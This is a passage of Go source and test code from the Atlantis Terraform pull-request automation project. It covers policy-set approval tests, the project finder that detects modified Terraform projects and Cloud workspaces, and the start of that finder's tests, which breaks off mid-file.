valid.PolicyOwners{\n\t\t\t\t\t\t\tTeams: []string{\"someotheruserteam\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tName:         \"policy2\",\n\t\t\t\t\t\tApproveCount: 2,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicySetStatus: []models.PolicySetStatus{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tApprovals:     1,\n\t\t\t\t\tPassed:        false,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy2\",\n\t\t\t\t\tApprovals:     1,\n\t\t\t\t\tPassed:        false,\n\t\t\t\t},\n\t\t\t},\n\t\t\texpOut: []models.PolicySetResult{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\tCurApprovals:  0,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy2\",\n\t\t\t\t\tReqApprovals:  2,\n\t\t\t\t\tCurApprovals:  1,\n\t\t\t\t},\n\t\t\t},\n\t\t\texpFailure: `One or more policy sets require additional approval.`,\n\t\t\thasErr:     true,\n\t\t},\n\t\t{\n\t\t\tdescription:         \"Approval count should only clear targeted policies when ClearPolicyApproval is set.\",\n\t\t\tuserTeams:           []string{\"someuserteam\"},\n\t\t\ttargetedPolicy:      \"policy2\",\n\t\t\tclearPolicyApproval: true,\n\t\t\tpolicySetCfg: valid.PolicySets{\n\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\t\tTeams: []string{\"someuserteam\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tName:         \"policy1\",\n\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\t\tTeams: []string{\"someuserteam\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tName:         \"policy2\",\n\t\t\t\t\t\tApproveCount: 2,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicySetStatus: []models.PolicySetStatus{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tApprovals:     1,\n\t\t\t\t\tPassed:        false,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy2\",\n\t\t\t\t\tApprovals:     1,\n\t\t\t\t\tPassed:        false,\n\t\t\t\t},\n\t\t\t},\n\t\t\texpOut: []models.PolicySetResult{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\tCurApprovals:  1,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy2\",\n\t\t\t\t\tReqApprovals:  2,\n\t\t\t\t\tCurApprovals:  0,\n\t\t\t\t},\n\t\t\t},\n\t\t\texpFailure: `One or more policy sets require additional approval.`,\n\t\t\thasErr:     false,\n\t\t},\n\t\t{\n\t\t\tdescription:         \"Policy Approval should not be the Author of the PR\",\n\t\t\tuserTeams:           []string{\"someuserteam\"},\n\t\t\tclearPolicyApproval: false,\n\t\t\tpolicySetCfg: valid.PolicySets{\n\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\t\tUsers: []string{\"lkysow\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tName:         \"policy1\",\n\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\t\tUsers: []string{\"lkysow\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tName:               \"policy2\",\n\t\t\t\t\t\tApproveCount:       1,\n\t\t\t\t\t\tPreventSelfApprove: true,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicySetStatus: []models.PolicySetStatus{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tApprovals:     0,\n\t\t\t\t\tPassed:        false,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy2\",\n\t\t\t\t\tApprovals:     0,\n\t\t\t\t\tPassed:        false,\n\t\t\t\t},\n\t\t\t},\n\t\t\texpOut: []models.PolicySetResult{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\tCurApprovals:  1,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy2\",\n\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\tCurApprovals:  0,\n\t\t\t\t},\n\t\t\t},\n\t\t\texpFailure: `One or more policy sets require additional approval.`,\n\t\t\thasErr:     true,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tRegisterMockTestingT(t)\n\t\t\tmockVcsClient := vcsmocks.NewMockClient()\n\t\t\tmockInit := mocks.NewMockStepRunner()\n\t\t\tmockPlan := mocks.NewMockStepRunner()\n\t\t\tmockApply := mocks.NewMockStepRunner()\n\t\t\tmockRun := mocks.NewMockCustomStepRunner()\n\t\t\tmockEnv := mocks.NewMockEnvStepRunner()\n\t\t\tmockWorkingDir := mocks.NewMockWorkingDir()\n\t\t\tmockLocker := mocks.NewMockProjectLocker()\n\t\t\tmockSender := mocks.NewMockWebhooksSender()\n\n\t\t\trunner := events.DefaultProjectCommandRunner{\n\t\t\t\tLocker:           mockLocker,\n\t\t\t\tVcsClient:        mockVcsClient,\n\t\t\t\tLockURLGenerator: mockURLGenerator{},\n\t\t\t\tInitStepRunner:   mockInit,\n\t\t\t\tPlanStepRunner:   mockPlan,\n\t\t\t\tApplyStepRunner:  mockApply,\n\t\t\t\tRunStepRunner:    mockRun,\n\t\t\t\tEnvStepRunner:    mockEnv,\n\t\t\t\tWorkingDir:       mockWorkingDir,\n\t\t\t\tWebhooks:         mockSender,\n\t\t\t\tWorkingDirLocker: events.NewDefaultWorkingDirLocker(),\n\t\t\t}\n\t\t\trepoDir := t.TempDir()\n\t\t\tWhen(mockWorkingDir.GetWorkingDir(\n\t\t\t\tAny[models.Repo](),\n\t\t\t\tAny[models.PullRequest](),\n\t\t\t\tAny[string](),\n\t\t\t)).ThenReturn(repoDir, nil)\n\t\t\tWhen(mockLocker.TryLock(\n\t\t\t\tAny[logging.SimpleLogging](),\n\t\t\t\tAny[models.PullRequest](),\n\t\t\t\tAny[models.User](),\n\t\t\t\tAny[string](),\n\t\t\t\tAny[models.Project](),\n\t\t\t\tAnyBool(),\n\t\t\t)).ThenReturn(&events.TryLockResponse{\n\t\t\t\tLockAcquired: true,\n\t\t\t\tLockKey:      \"lock-key\",\n\t\t\t}, nil)\n\n\t\t\tvar projPolicyStatus []models.PolicySetStatus\n\t\t\tif c.policySetStatus == nil {\n\t\t\t\tfor _, p := range c.policySetCfg.PolicySets {\n\t\t\t\t\tprojPolicyStatus = append(projPolicyStatus, models.PolicySetStatus{\n\t\t\t\t\t\tPolicySetName: p.Name,\n\t\t\t\t\t})\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tprojPolicyStatus = c.policySetStatus\n\t\t\t}\n\n\t\t\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num, Author: testdata.User.Username}\n\t\t\tWhen(runner.VcsClient.GetTeamNamesForUser(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.User))).ThenReturn(c.userTeams, nil)\n\t\t\tctx := command.ProjectContext{\n\t\t\t\tUser:                testdata.User,\n\t\t\t\tLog:                 logging.NewNoopLogger(t),\n\t\t\t\tWorkspace:           \"default\",\n\t\t\t\tRepoRelDir:          \".\",\n\t\t\t\tPolicySets:          c.policySetCfg,\n\t\t\t\tProjectPolicyStatus: projPolicyStatus,\n\t\t\t\tPull:                modelPull,\n\t\t\t\tPolicySetTarget:     c.targetedPolicy,\n\t\t\t\tClearPolicyApproval: c.clearPolicyApproval,\n\t\t\t}\n\n\t\t\tres := runner.ApprovePolicies(ctx)\n\t\t\tEquals(t, c.expOut, res.PolicyCheckResults.PolicySetResults)\n\t\t\tEquals(t, c.expFailure, res.Failure)\n\t\t\tif c.hasErr == true {\n\t\t\t\tAssert(t, res.Error != nil, \"expecting error.\")\n\t\t\t} else {\n\t\t\t\tAssert(t, res.Error == nil, \"not expecting error.\")\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/events/project_finder.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"io/fs\"\n\t\"os\"\n\t\"path\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/utils\"\n\n\t\"github.com/moby/patternmatcher\"\n\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\n\t\"github.com/hashicorp/hcl/v2\"\n\t\"github.com/hashicorp/hcl/v2/gohcl\"\n\t\"github.com/hashicorp/hcl/v2/hclparse\"\n)\n\n// ProjectFinder determines which projects were modified in a given pull\n// request.\ntype ProjectFinder interface {\n\t// DetermineProjects returns the list of projects that were modified based on\n\t// the modifiedFiles. The list will be de-duplicated.\n\t// absRepoDir is the path to the cloned repo on disk.\n\tDetermineProjects(log logging.SimpleLogging, modifiedFiles []string, repoFullName string, absRepoDir string, autoplanFileList string, moduleInfo ModuleProjects) []models.Project\n\t// DetermineProjectsViaConfig returns the list of projects that were modified\n\t// based on modifiedFiles and the repo's config.\n\t// absRepoDir is the path to the cloned repo on disk.\n\tDetermineProjectsViaConfig(log logging.SimpleLogging, modifiedFiles []string, config valid.RepoCfg, absRepoDir string, moduleInfo ModuleProjects) ([]valid.Project, error)\n\n\tDetermineWorkspaceFromHCL(log logging.SimpleLogging, absRepoDir string) (string, error)\n}\n\nvar rootBlockSchema = &hcl.BodySchema{\n\tBlocks: []hcl.BlockHeaderSchema{\n\t\t{\n\t\t\tType:       \"terraform\",\n\t\t\tLabelNames: nil,\n\t\t},\n\t},\n}\n\nvar terraformBlockSchema = &hcl.BodySchema{\n\tBlocks: []hcl.BlockHeaderSchema{\n\t\t{\n\t\t\tType: \"cloud\",\n\t\t},\n\t},\n}\n\nvar cloudBlockSchema = &hcl.BodySchema{\n\tBlocks: []hcl.BlockHeaderSchema{\n\t\t{\n\t\t\tType: \"workspaces\",\n\t\t},\n\t},\n}\n\nfunc (p *DefaultProjectFinder) DetermineWorkspaceFromHCL(log logging.SimpleLogging, absRepoDir string) (string, error) {\n\tlog.Info(\"Looking for Terraform Cloud workspace from configuration in '%s'\", absRepoDir)\n\tinfos, err := os.ReadDir(absRepoDir)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tparser := hclparse.NewParser()\n\tfor _, info := range infos {\n\t\tif info.IsDir() {\n\t\t\tcontinue\n\t\t}\n\n\t\tname := info.Name()\n\t\tif strings.HasSuffix(name, \".tf\") {\n\t\t\tfullPath := filepath.Join(absRepoDir, name)\n\t\t\tfile, _ := parser.ParseHCLFile(fullPath)\n\t\t\tworkspace, err := findTFCloudWorkspaceFromFile(file)\n\t\t\tif err != nil {\n\t\t\t\tlog.Warn(err.Error())\n\t\t\t\treturn DefaultWorkspace, nil\n\t\t\t}\n\n\t\t\tif len(workspace) > 0 {\n\t\t\t\tlog.Debug(\"found configured Terraform Cloud workspace with name %q\", workspace)\n\t\t\t\treturn workspace, nil\n\t\t\t}\n\t\t}\n\t}\n\n\tlog.Debug(\"no Terraform Cloud workspace explicitly configured in Terraform codes. Use default workspace (%q)\", DefaultWorkspace)\n\treturn DefaultWorkspace, nil\n}\n\nfunc findTFCloudWorkspaceFromFile(file *hcl.File) (string, error) {\n\tcontent, _, _ := file.Body.PartialContent(rootBlockSchema)\n\tworkspace := \"\"\n\n\tif len(content.Blocks) == 1 {\n\t\tcontent, _, _ = content.Blocks[0].Body.PartialContent(terraformBlockSchema)\n\t\tif len(content.Blocks) == 1 {\n\t\t\tcontent, _, _ = content.Blocks[0].Body.PartialContent(cloudBlockSchema)\n\t\t\tif len(content.Blocks) == 1 {\n\t\t\t\tattrs, _ := content.Blocks[0].Body.JustAttributes()\n\t\t\t\tif nameAttr, defined := attrs[\"name\"]; defined {\n\t\t\t\t\tdiags := gohcl.DecodeExpression(nameAttr.Expr, nil, &workspace)\n\t\t\t\t\tif diags.HasErrors() {\n\t\t\t\t\t\treturn \"\", fmt.Errorf(\"unable to parse workspace configuration: %q\", diags.Error())\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn workspace, nil\n}\n\n// ignoredFilenameFragments contains filename fragments to ignore while looking at changes\nvar ignoredFilenameFragments = []string{\"terraform.tfstate\", \"terraform.tfstate.backup\", \"tflint.hcl\"}\n\n// DefaultProjectFinder implements ProjectFinder.\ntype DefaultProjectFinder struct{}\n\n// See ProjectFinder.DetermineProjects.\nfunc (p *DefaultProjectFinder) DetermineProjects(log logging.SimpleLogging, modifiedFiles []string, repoFullName string, absRepoDir string, autoplanFileList string, moduleInfo ModuleProjects) []models.Project {\n\tvar projects []models.Project\n\n\tmodifiedTerraformFiles := p.filterToFileList(log, modifiedFiles, autoplanFileList)\n\tif len(modifiedTerraformFiles) == 0 {\n\t\treturn projects\n\t}\n\tlog.Info(\"filtered modified files to %d file(s) in the autoplan file list: %v\",\n\t\tlen(modifiedTerraformFiles), modifiedTerraformFiles)\n\n\tvar dirs []string\n\tfor _, modifiedFile := range modifiedTerraformFiles {\n\t\tprojectDir := getProjectDir(modifiedFile, absRepoDir)\n\t\tif projectDir != \"\" {\n\t\t\tdirs = append(dirs, projectDir)\n\t\t} else if moduleInfo != nil {\n\t\t\tdownstreamProjects := moduleInfo.DependentProjects(path.Dir(modifiedFile))\n\t\t\tlog.Debug(\"found downstream projects for %q: %v\", modifiedFile, downstreamProjects)\n\t\t\tdirs = append(dirs, downstreamProjects...)\n\t\t}\n\t}\n\tuniqueDirs := p.unique(dirs)\n\n\t// The list of modified files will include files that were deleted. We still\n\t// want to run plan if a file was deleted since that often results in a\n\t// change however we want to remove directories that have been completely\n\t// deleted.\n\texists := p.removeNonExistingDirs(uniqueDirs, absRepoDir)\n\n\tfor _, p := range exists {\n\t\t// It's unclear how we are supposed to determine the project name at this point\n\t\t// For now, we'll just add the default projectName\n\t\t// TODO: Add support for non-default projectName\n\t\tprojectName := \"\"\n\t\tprojects = append(projects, models.NewProject(repoFullName, p, projectName))\n\t}\n\tlog.Info(\"there are %d modified project(s) at path(s): %v\",\n\t\tlen(projects), strings.Join(exists, \", \"))\n\treturn projects\n}\n\n// See ProjectFinder.DetermineProjectsViaConfig.\nfunc (p *DefaultProjectFinder) DetermineProjectsViaConfig(log logging.SimpleLogging, modifiedFiles []string, config valid.RepoCfg, absRepoDir string, moduleInfo ModuleProjects) ([]valid.Project, error) {\n\n\t// Check moduleInfo for downstream project dependencies\n\tvar dependentProjects []string\n\tfor _, file := range modifiedFiles {\n\t\tif moduleInfo != nil {\n\t\t\tdownstreamProjects := moduleInfo.DependentProjects(path.Dir(file))\n\t\t\tlog.Debug(\"found downstream projects for %q: %v\", file, downstreamProjects)\n\t\t\tdependentProjects = append(dependentProjects, downstreamProjects...)\n\t\t}\n\t}\n\n\tvar projects []valid.Project\n\tfor _, project := range config.Projects {\n\t\tlog.Debug(\"checking if project at dir %q workspace %q was modified\", project.Dir, project.Workspace)\n\n\t\tif utils.SlicesContains(dependentProjects, project.Dir) {\n\t\t\tprojects = append(projects, project)\n\t\t\tcontinue\n\t\t}\n\n\t\tvar whenModifiedRelToRepoRoot []string\n\t\tfor _, wm := range project.Autoplan.WhenModified {\n\t\t\twm = strings.TrimSpace(wm)\n\t\t\t// An exclusion uses a '!' at the beginning. If it's there, we need\n\t\t\t// to remove it, then add in the project path, then add it back.\n\t\t\texclusion := false\n\t\t\tif wm != \"\" && wm[0] == '!' {\n\t\t\t\twm = wm[1:]\n\t\t\t\texclusion = true\n\t\t\t}\n\n\t\t\t// Prepend project dir to when modified patterns because the patterns\n\t\t\t// are relative to the project dirs but our list of modified files is\n\t\t\t// relative to the repo root.\n\t\t\twmRelPath := filepath.Join(project.Dir, wm)\n\t\t\tif exclusion {\n\t\t\t\twmRelPath = \"!\" + wmRelPath\n\t\t\t}\n\t\t\twhenModifiedRelToRepoRoot = append(whenModifiedRelToRepoRoot, wmRelPath)\n\t\t}\n\t\tpm, err := patternmatcher.New(whenModifiedRelToRepoRoot)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"matching modified files with patterns: %v: %w\", project.Autoplan.WhenModified, err)\n\t\t}\n\n\t\t// If any of the modified files matches the pattern then this project is\n\t\t// considered modified.\n\t\tfor _, file := range modifiedFiles {\n\t\t\tmatch, err := pm.MatchesOrParentMatches(file)\n\t\t\tif err != nil {\n\t\t\t\tlog.Debug(\"match err for file %q: %s\", file, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif match {\n\t\t\t\tlog.Debug(\"file %q matched pattern\", file)\n\t\t\t\t// If we're checking using an atlantis.yaml file we downloaded\n\t\t\t\t// directly from the repo (when doing a no-clone check) then\n\t\t\t\t// absRepoDir will be empty. Since we didn't clone the repo\n\t\t\t\t// yet we can't do this check. If there was a file modified\n\t\t\t\t// in a deleted directory then when we finally do clone the repo\n\t\t\t\t// we'll call this function again and then we'll detect the\n\t\t\t\t// directory was deleted.\n\t\t\t\tif absRepoDir != \"\" {\n\t\t\t\t\t_, err := os.Stat(filepath.Join(absRepoDir, project.Dir))\n\t\t\t\t\tif err == nil {\n\t\t\t\t\t\tprojects = append(projects, project)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlog.Debug(\"project at dir %q not included because dir does not exist\", project.Dir)\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tprojects = append(projects, project)\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\treturn projects, nil\n}\n\n// filterToFileList filters out files not included in the file list\nfunc (p *DefaultProjectFinder) filterToFileList(log logging.SimpleLogging, files []string, fileList string) []string {\n\tvar filtered []string\n\tpatterns := strings.Split(fileList, \",\")\n\t// Ignore pattern matcher error here as it was checked for errors in server validation\n\tpatternMatcher, _ := patternmatcher.New(patterns)\n\n\tfor _, fileName := range files {\n\t\tif p.shouldIgnore(fileName) {\n\t\t\tcontinue\n\t\t}\n\t\tmatch, err := patternMatcher.MatchesOrParentMatches(fileName)\n\t\tif err != nil {\n\t\t\tlog.Debug(\"filter err for file %q: %s\", fileName, err)\n\t\t\tcontinue\n\t\t}\n\t\tif match {\n\t\t\tfiltered = append(filtered, fileName)\n\t\t}\n\t}\n\n\treturn filtered\n}\n\n// shouldIgnore returns true if we shouldn't trigger a plan on changes to this file.\nfunc (p *DefaultProjectFinder) shouldIgnore(fileName string) bool {\n\tfor _, s := range ignoredFilenameFragments {\n\t\tif strings.Contains(fileName, s) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// getProjectDir attempts to determine based on the location of a modified\n// file, where the root of the Terraform project is. It also attempts to verify\n// if the root is valid by looking for a main.tf file. It returns a relative\n// path to the repo. If the project is at the root returns \".\". If modified file\n// doesn't lead to a valid project path, returns an empty string.\nfunc getProjectDir(modifiedFilePath string, repoDir string) string {\n\treturn getProjectDirFromFs(os.DirFS(repoDir), modifiedFilePath)\n}\n\nfunc getProjectDirFromFs(files fs.FS, modifiedFilePath string) string {\n\tdir := path.Dir(modifiedFilePath)\n\tif path.Base(dir) == \"env\" {\n\t\t// If the modified file was inside an env/ directory, we treat this\n\t\t// specially and run plan one level up. This supports directory structures\n\t\t// like:\n\t\t// root/\n\t\t//   main.tf\n\t\t//   env/\n\t\t//     dev.tfvars\n\t\t//     staging.tfvars\n\t\treturn path.Dir(dir)\n\t}\n\n\t// Surrounding dir with /'s so we can match on /modules/ even if dir is\n\t// \"modules\" or \"project1/modules\"\n\tif isModule(dir) {\n\t\t// We treat changes inside modules/ folders specially. There are two cases:\n\t\t// 1. modules folder inside project:\n\t\t// root/\n\t\t//   main.tf\n\t\t//     modules/\n\t\t//       ...\n\t\t// In this case, if we detect a change in modules/, we will determine\n\t\t// the project root to be at root/.\n\t\t//\n\t\t// 2. shared top-level modules folder\n\t\t// root/\n\t\t//  project1/\n\t\t//    main.tf # uses modules via ../modules\n\t\t//  project2/\n\t\t//    main.tf # uses modules via ../modules\n\t\t//  modules/\n\t\t//    ...\n\t\t// In this case, if we detect a change in modules/ we don't know which\n\t\t// project was using this module so we can't suggest a project root, but we\n\t\t// also detect that there's no main.tf in the parent folder of modules/\n\t\t// so we won't suggest that as a project. So in this case we return nothing.\n\t\t// The code below makes this happen.\n\n\t\t// Need to add a trailing slash before splitting on modules/ because if\n\t\t// the input was modules/file.tf then path.Dir will be \"modules\" and so our\n\t\t// split on \"modules/\" will fail.\n\t\tdirWithTrailingSlash := dir + \"/\"\n\t\tmodulesSplit := strings.SplitN(dirWithTrailingSlash, \"modules/\", 2)\n\t\tmodulesParent := modulesSplit[0]\n\n\t\t// Now we check whether there is a main.tf in the parent.\n\t\tif _, err := fs.Stat(files, filepath.Join(modulesParent, \"main.tf\")); errors.Is(err, fs.ErrNotExist) {\n\t\t\treturn \"\"\n\t\t}\n\t\treturn path.Clean(modulesParent)\n\t}\n\n\t// If it wasn't a modules directory, we assume we're in a project and return\n\t// this directory.\n\treturn dir\n}\n\nfunc isModule(dir string) bool {\n\treturn strings.Contains(\"/\"+dir+\"/\", \"/modules/\")\n}\n\n// unique de-duplicates strs.\nfunc (p *DefaultProjectFinder) unique(strs []string) []string {\n\thash := make(map[string]bool)\n\tvar unique []string\n\tfor _, s := range strs {\n\t\tif !hash[s] {\n\t\t\tunique = append(unique, s)\n\t\t\thash[s] = true\n\t\t}\n\t}\n\treturn unique\n}\n\n// removeNonExistingDirs removes paths from relativePaths that don't exist.\n// relativePaths is a list of paths relative to absRepoDir.\nfunc (p *DefaultProjectFinder) removeNonExistingDirs(relativePaths []string, absRepoDir string) []string {\n\tvar filtered []string\n\tfor _, pth := range relativePaths {\n\t\tabsPath := filepath.Join(absRepoDir, pth)\n\t\tif _, err := os.Stat(absPath); !os.IsNotExist(err) {\n\t\t\tfiltered = append(filtered, pth)\n\t\t}\n\t}\n\treturn filtered\n}\n"
  },
  {
    "path": "server/events/project_finder_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events_test\n\nimport (\n\t\"os\"\n\t\"path/filepath\"\n\t\"slices\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/core/config/raw\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nvar modifiedRepo = \"owner/repo\"\nvar m = events.DefaultProjectFinder{}\nvar nestedModules1 string\nvar nestedModules2 string\nvar topLevelModules string\nvar envDir string\n\nfunc setupTmpRepos(t *testing.T) {\n\t// Create different repo structures for testing.\n\n\t// 1. Nested modules directory inside a project\n\t// non-tf\n\t// terraform.tfstate\n\t// terraform.tfstate.backup\n\t// project1/\n\t//   main.tf\n\t//   terraform.tfstate\n\t//   terraform.tfstate.backup\n\t//   modules/\n\t//     main.tf\n\tnestedModules1 = t.TempDir()\n\terr := os.MkdirAll(filepath.Join(nestedModules1, \"project1/modules\"), 0700)\n\tOk(t, err)\n\tfiles := []string{\n\t\t\"non-tf\",\n\t\t\".tflint.hcl\",\n\t\t\"terraform.tfstate.backup\",\n\t\t\"project1/main.tf\",\n\t\t\"project1/terraform.tfstate\",\n\t\t\"project1/terraform.tfstate.backup\",\n\t\t\"project1/modules/main.tf\",\n\t}\n\tfor _, f := range files {\n\t\t_, err = os.Create(filepath.Join(nestedModules1, f))\n\t\tOk(t, err)\n\t}\n\n\t// 2. Nested modules dir inside top-level project\n\t// main.tf\n\t//  modules/\n\t//    main.tf\n\t// We can just re-use part of the previous dir structure.\n\tnestedModules2 = filepath.Join(nestedModules1, \"project1\")\n\n\t// 3. Top-level modules\n\t//  modules/\n\t//    main.tf\n\t//  project1/\n\t//    main.tf\n\t//  project2/\n\t//    main.tf\n\ttopLevelModules = t.TempDir()\n\tfor _, path := range []string{\"modules\", \"project1\", \"project2\"} {\n\t\terr = os.MkdirAll(filepath.Join(topLevelModules, path), 0700)\n\t\tOk(t, err)\n\t\t_, err = os.Create(filepath.Join(topLevelModules, path, \"main.tf\"))\n\t\tOk(t, err)\n\t}\n\n\t// 4. Env/ dir\n\t// main.tf\n\t// env/\n\t//   staging.tfvars\n\t//   production.tfvars\n\t//   global-env-config.auto.tfvars.json\n\tenvDir = t.TempDir()\n\terr = os.MkdirAll(filepath.Join(envDir, \"env\"), 0700)\n\tOk(t, err)\n\t_, err = os.Create(filepath.Join(envDir, \"env/staging.tfvars\"))\n\tOk(t, err)\n\t_, err = os.Create(filepath.Join(envDir, \"env/production.tfvars\"))\n\tOk(t, err)\n}\n\nfunc TestDetermineWorkspaceFromHCL(t *testing.T) {\n\tnoopLogger := logging.NewNoopLogger(t)\n\tcases := []struct {\n\t\tdescription       string\n\t\trepoDir           string\n\t\texpectedWorkspace string\n\t}{\n\t\t{\n\t\t\t\"Should use configured Terraform Cloud workspace\",\n\t\t\t\"workspace-configured\",\n\t\t\t\"test-workspace\",\n\t\t},\n\t\t{\n\t\t\t\"If no 'cloud' block was configured, it should use 'default' workspace\",\n\t\t\t\"no-cloud-block\",\n\t\t\t\"default\",\n\t\t},\n\t\t{\n\t\t\t\"If 'cloud' was specify but without `name` attribute, it should use 'default' workspace\",\n\t\t\t\"cloud-block-without-workspace-name\",\n\t\t\t\"default\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tfullPath := filepath.Join(\"testdata/test-repos\", c.repoDir)\n\t\tgot, err := m.DetermineWorkspaceFromHCL(noopLogger, fullPath)\n\t\tif err != nil {\n\t\t\tt.Error(\"got error:\", err)\n\t\t\tbreak\n\t\t}\n\t\tif got != c.expectedWorkspace {\n\t\t\tt.Fatalf(\"Expected %s but got %s\", c.expectedWorkspace, got)\n\t\t}\n\t}\n\n}\n\nfunc TestDetermineProjects(t *testing.T) {\n\tnoopLogger := logging.NewNoopLogger(t)\n\tsetupTmpRepos(t)\n\n\tdefaultAutoplanFileList := \"**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl\"\n\n\tcases := []struct {\n\t\tdescription      string\n\t\tfiles            []string\n\t\texpProjectPaths  []string\n\t\trepoDir          string\n\t\tautoplanFileList string\n\t}{\n\t\t{\n\t\t\t\"If no files were modified then should return an empty list\",\n\t\t\tnil,\n\t\t\tnil,\n\t\t\tnestedModules1,\n\t\t\tdefaultAutoplanFileList,\n\t\t},\n\t\t{\n\t\t\t\"Should ignore non .tf files and return an empty list\",\n\t\t\t[]string{\"non-tf\", \"non.tf.suffix\"},\n\t\t\tnil,\n\t\t\tnestedModules1,\n\t\t\tdefaultAutoplanFileList,\n\t\t},\n\t\t{\n\t\t\t\"Should ignore .tflint.hcl files and return an empty list\",\n\t\t\t[]string{\".tflint.hcl\", \"project1/.tflint.hcl\"},\n\t\t\tnil,\n\t\t\tnestedModules1,\n\t\t\tdefaultAutoplanFileList,\n\t\t},\n\t\t{\n\t\t\t\"Should plan in the parent directory from modules if that dir has a main.tf\",\n\t\t\t[]string{\"project1/modules/main.tf\"},\n\t\t\t[]string{\"project1\"},\n\t\t\tnestedModules1,\n\t\t\tdefaultAutoplanFileList,\n\t\t},\n\t\t{\n\t\t\t\"Should plan in the parent directory from modules if that dir has a main.tf\",\n\t\t\t[]string{\"modules/main.tf\"},\n\t\t\t[]string{\".\"},\n\t\t\tnestedModules2,\n\t\t\tdefaultAutoplanFileList,\n\t\t},\n\t\t{\n\t\t\t\"Should plan in the parent directory from modules when module is in a subdir if that dir has a main.tf\",\n\t\t\t[]string{\"modules/subdir/main.tf\"},\n\t\t\t[]string{\".\"},\n\t\t\tnestedModules2,\n\t\t\tdefaultAutoplanFileList,\n\t\t},\n\t\t{\n\t\t\t\"Should not plan in the parent directory from modules if that dir does not have a 